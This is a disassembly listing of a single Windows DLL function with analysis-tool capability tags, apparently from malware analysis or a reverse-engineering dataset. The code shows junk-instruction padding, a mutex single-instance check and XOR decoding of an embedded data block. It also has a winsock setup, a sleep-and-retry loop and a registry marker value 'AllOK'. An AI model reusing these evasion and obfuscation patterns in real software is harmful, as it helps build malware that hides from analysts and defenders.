Function at 0x100041f0
Capabilities:
Check for software breakpoints
Check mutex on windows
Initialize winsock library
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x1a0
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
inc esi
cmp esi, 0x36
jle 0x1000420c
cmp esi, 0xc8
jge 0x1000420c
inc esi
inc esi
cmp esi, 5
jl 0x10004215
add esi, 2
cmp esi, 0x9d
jle 0x10004222
mov esi, 0x23
dec esi
cmp esi, 0xda
jge 0x1000422c
inc esi
dec esi
cmp esi, 0x9d
jge 0x10004236
inc esi
inc esi
cmp esi, 0x1b
jle 0x10004245
cmp esi, 0xe0
jge 0x10004245
inc esi
inc esi
cmp esi, 0x12
jl 0x1000424e
add esi, 2
cmp esi, 0xcc
jle 0x1000425b
mov esi, 0x24
push 0x10006010
xor ebx, ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100042a6
inc esi
cmp esi, 0x10
jl 0x10004287
add esi, 2
cmp esi, 0xac
jle 0x10004294
mov esi, 0x1f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
pop edi
pop esi
pop ebx
add esp, 0x1a0
ret
inc esi
cmp esi, 0x41
jle 0x100042b5
cmp esi, 0xc8
jge 0x100042b5
inc esi
dec esi
cmp esi, 0x99
jge 0x100042bf
inc esi
lea eax, [esp + 0x1c]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
inc esi
cmp esi, 0x53
jle 0x100042dd
cmp esi, 0xd0
jge 0x100042dd
inc esi
inc esi
cmp esi, 4
jl 0x100042e6
add esi, 2
cmp esi, 0xb3
jle 0x100042f3
mov esi, 0x18
xor eax, eax
mov ecx, eax
and ecx, 0x8000000f
jns 0x10004304
dec ecx
or ecx, 0xfffffff0
inc ecx
mov dl, byte [ecx + section..data]
mov cl, byte [eax + 0x10006020]
xor cl, dl
mov byte [eax + 0x10006020], cl
inc eax
cmp eax, 0x23ec
jl 0x100042f5
push ebp
mov dword [esp + 0x14], ebx
inc esi
cmp esi, 0x2b
jle 0x10004334
cmp esi, 0xcb
jge 0x10004334
inc esi
dec esi
cmp esi, 0xdc
jge 0x1000433e
inc esi
inc esi
mov dword [esp + 0x10], ebx
mov eax, 0x1a
inc eax
cmp eax, 0x40
jle 0x10004356
cmp eax, 0xe8
jge 0x10004356
inc eax
add eax, 0x20
cmp eax, 0xc2
jl 0x10004348
mov ebp, 0x10006280
mov esi, 0xd
inc esi
cmp esi, 0x19
jle 0x10004379
cmp esi, 0xca
jge 0x10004379
inc esi
add esi, 0x2c
cmp esi, 0xa0
jl 0x1000436a
mov al, byte [ebp - 0x260]
test al, al
je 0x10004448
mov esi, 0x5b
inc esi
cmp esi, 0x50
jle 0x100043a6
cmp esi, 0xcb
jge 0x100043a6
inc esi
add esi, 0x1d
cmp esi, 0xa3
jl 0x10004397
push ebx
call fcn.10001110
add esp, 4
inc esi
mov edi, eax
js 0x100043c2
add esi, 2
cmp esi, 0xb5
jle 0x100043cf
mov esi, 0x1f
lea eax, [edi + 2]
cmp eax, 3
ja case.default.0x100043d7
jmp dword [eax*4 + 0x10004748]
inc dword [esp + 0x10]
jmp case.default.0x100043d7
mov eax, dword [0x10008720]
lea ecx, [ebp + 0xa0]
push eax
push ecx
jmp 0x10004407
lea edx, [ebp + 0xc0]
push 0
push edx
jmp 0x10004407
lea eax, [ebp + 0x80]
push 0
push eax
push ebp
call fcn.10003b20
add esp, 0xc
dec esi
cmp esi, 0x4b
jge 0x10004417
inc esi
inc esi
cmp esi, 0x26
jle 0x10004426
cmp esi, 0xe8
jge 0x10004426
inc esi
cmp edi, 0xfffffffe
je 0x10004432
mov byte [ebp - 0x260], 0
inc esi
cmp esi, 6
jl 0x1000443b
add esi, 2
cmp esi, 0x9c
jle 0x10004448
mov esi, 0x1f
inc ebx
add ebp, 0x344
cmp ebx, 0xb
jl 0x10004365
dec esi
cmp esi, 0xad
jge 0x10004462
inc esi
mov eax, dword [esp + 0x10]
xor ebx, ebx
cmp eax, ebx
je 0x100044bc
dec esi
cmp esi, 0x55
jge 0x10004473
inc esi
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x2c
jle 0x1000448d
cmp esi, 0xd2
jge 0x1000448d
inc esi
inc esi
cmp esi, 0xf
jl 0x10004496
add esi, 2
cmp esi, 0xae
jle 0x100044a3
mov esi, 0x1b
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x5dc
mov dword [esp + 0x14], eax
jl 0x10004325
jmp 0x100046be
mov eax, 0x12
inc eax
cmp eax, 0x64
jle 0x100044cf
cmp eax, 0xe9
jge 0x100044cf
inc eax
add eax, 0x21
cmp eax, 0xb7
jl 0x100044c1
mov byte [esp + 0x14], 0
mov dword [esp + 0x1c], 2
mov esi, 0x59
inc esi
cmp esi, 0x18
jle 0x100044fa
cmp esi, 0xe2
jge 0x100044fa
inc esi
add esi, 0x21
cmp esi, 0x8b
jl 0x100044eb
inc esi
cmp esi, 0x12
jle 0x10004514
cmp esi, 0xef
jge 0x10004514
inc esi
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push str.SoftwareClassesXML2
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10004611
inc esi
cmp esi, 0x25
jle 0x1000454d
cmp esi, 0xd2
jge 0x1000454d
inc esi
lea edx, [esp + 0x10]
push edx
push str.SoftwareClassesXML2
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100045f2
inc esi
cmp esi, 0xa
jl 0x10004573
add esi, 2
cmp esi, 0xf4
jle 0x10004580
mov esi, 0x18
mov eax, dword [esp + 0x10]
push 0
push 0
push 1
push 0
push str.AllOK
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100045dc
mov eax, 0x1b
inc eax
cmp eax, 9
jle 0x100045af
cmp eax, 0xdb
jge 0x100045af
inc eax
add eax, 0x1d
cmp eax, 0xad
jl 0x100045a1
mov ecx, dword [esp + 0x10]
push ecx
call edi
mov esi, 0x11
inc esi
cmp esi, 0x33
jle 0x100045d4
cmp esi, 0xec
jge 0x100045d4
inc esi
add esi, 0xc
cmp esi, 0x67
jl 0x100045c5
inc esi
cmp esi, 0xa
jl 0x100045e5
add esi, 2
cmp esi, 0xea
jle 0x100045f2
mov esi, 0x15
inc esi
cmp esi, 7
jl 0x100045fb
add esi, 2
cmp esi, 0xdc
jle 0x10004692
mov esi, 0x28
jmp 0x10004692
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
push eax
push 0
push 0
push str.AllOK
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10004692
mov edx, dword [esp + 0x10]
push 0
push 0
push 1
push 0
push str.AllOK
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10004673
mov eax, 0x14
inc eax
cmp eax, 0x26
jle 0x10004662
cmp eax, 0xf9
jge 0x10004662
inc eax
add eax, 0xc
cmp eax, 0x8d
jl 0x10004654
mov eax, dword [esp + 0x10]
push eax
call edi
mov esi, 0x2d
inc esi
cmp esi, 0x2f
jle 0x10004687
cmp esi, 0xd5
jge 0x10004687
inc esi
add esi, 0x20
cmp esi, 0xb9
jl 0x10004678
inc esi
cmp esi, 0x4b
jle 0x100046a1
cmp esi, 0xf4
jge 0x100046a1
inc esi
mov ecx, dword [esp + 0x10]
push ecx
call edi
inc esi
cmp esi, 0xd
jl 0x100046b1
add esi, 2
cmp esi, 0xc6
jle 0x100046be
mov esi, 0x25
inc esi
call sub.WS2_32.dll_WSACleanup
mov eax, 0x40
pop ebp
inc eax
cmp eax, 0x4d
jle 0x100046d8
cmp eax, 0xf1
jge 0x100046d8
inc eax
add eax, 0xa
cmp eax, 0x68
jl 0x100046ca
mov eax, 9
inc eax
cmp eax, 0xc
jle 0x100046f3
cmp eax, 0xdc
jge 0x100046f3
inc eax
add eax, 0x2d
cmp eax, 0x70
jl 0x100046e5
call fcn.10002de0
mov esi, 0x33
inc esi
cmp esi, 0x63
jle 0x10004714
cmp esi, 0xe5
jge 0x10004714
inc esi
add esi, 0x19
cmp esi, 0x67
jl 0x10004705
inc esi
cmp esi, 0xa
jl 0x10004725
add esi, 2
cmp esi, 0xad
jle 0x10004732
mov esi, 0x1b
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
dec esi
pop edi
pop esi
pop ebx
add esp, 0x1a0
ret